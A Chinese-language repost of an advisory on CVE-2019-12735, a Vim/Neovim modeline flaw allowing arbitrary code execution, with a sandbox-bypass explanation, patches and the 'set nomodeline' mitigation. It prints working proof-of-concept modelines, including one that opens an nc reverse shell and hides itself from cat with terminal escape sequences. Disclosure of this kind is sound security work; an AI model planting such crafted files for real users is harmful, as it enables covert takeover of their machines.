CVE-2019-12735:Linux Vim/Neovim编辑器任意代码执行漏洞

栏目: 编程工具 · 发布时间: 6年前

内容简介:研究人员发现Vim 8.1.1365之前版本和Neovim 0.3.6都存在任意代码执行漏洞。研究人员分析发现通过打开伪造的文本文件通过modelines功能来执行任意代码。PoC创建PoC的步骤:

研究人员发现Vim 8.1.1365之前版本和Neovim 0.3.6都存在任意代码执行漏洞。研究人员分析发现通过打开伪造的文本文件通过modelines功能来执行任意代码。

PoC

创建PoC的步骤:

1、创建poc.txt:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

2、确保modeline选项没有被禁用(:set modeline)

3、在vim中打开文件

$ vim poc.txt

4、系统就会自行uname -a.

PoC2 (reverse shell)

本PoC给出了当用户打开文件时启动逆向 shell 的真实攻击方法。为了隐藏攻击活动,该文件打开后需要马上重新。当文件内容用cat显示时,PoC使用了terminal escape序列来隐藏modeline。

注:cat -v会显示文件真实内容。

shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

Demo (左侧为受害者,右侧为攻击者):

CVE-2019-12735:Linux Vim/Neovim编辑器任意代码执行漏洞

详情

Modeline特征允许在文件的开始或结束位置指定自定义选项。该特征默认是启动的,并应用于所有的文件类型,包括plain.txt。典型的modeline如下:

/* vim: set textwidth=80 tabstop=8: */

出于安全考虑,只有一小部分选项允许储蓄在modeline中,如果选项值中含有表达式,就会在沙箱中执行。

沙箱的意思是防止副作用:

'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline'和'foldtext'选项都可能会在沙箱中进行评估。这可以给从modeline下设置的选项确保安全性。

但:source!命令可以用来绕过沙箱。该命令会从给定的文件中读取和执行命令,就像输入的一样。

:so[urce]! {file}       Read Vim commands from {file}. 这是正常模式下执行的命令,就好像输入的一样。这样,用户就可以构建一个运行在沙箱以外的modeline:

# vim: set foldexpr=execute('\:source! some_file'):

对Neovim来说,还需要一个步骤来将execute()加入黑名单:

execute({command} [, {silent}])                         *execute()*
                Execute {command} and capture its output.
                [...]
                该函数并不在沙箱|sandbox|中

也可以使用assert_fails() ,利用{cmd}参数:

assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

下面的modeline使用fold表达式来运行source! %来执行当前文件,反过来作为shell命令执行uname -a || "(garbage)":

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另外,Neovim中的函数nvim_input()也可以用同样的方法进行攻击,比如:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

modeline相关的漏洞还有CVE-2002-1377, CVE-2016-1248,目前都已修复。

补丁

Vim patch 8.1.1365

Neovim patch (released in v0.3.6)

除了补丁以外,研究人员建议在vimrc 中禁用modelines(方法为:set nomodeline)或禁用modelineexpr来禁止modeline中的表达式。

打开vim输入:set modeline?检查modelines是否启用。如果vim返回nomodeline,就说明不存在漏洞。如果有漏洞,或想要确保该问题的安全性,可以在vimrc中加入以下代码:

set modelines=0
set nomodeline

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Java Servlet & JSP Cookbook

Java Servlet & JSP Cookbook

Bruce W. Perry / O'Reilly Media / 2003-12-1 / USD 49.99

With literally hundreds of examples and thousands of lines of code, the Java Servlet and JSP Cookbook yields tips and techniques that any Java web developer who uses JavaServer Pages or servlets will ......一起来看看 《Java Servlet & JSP Cookbook》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

html转js在线工具
html转js在线工具

html转js在线工具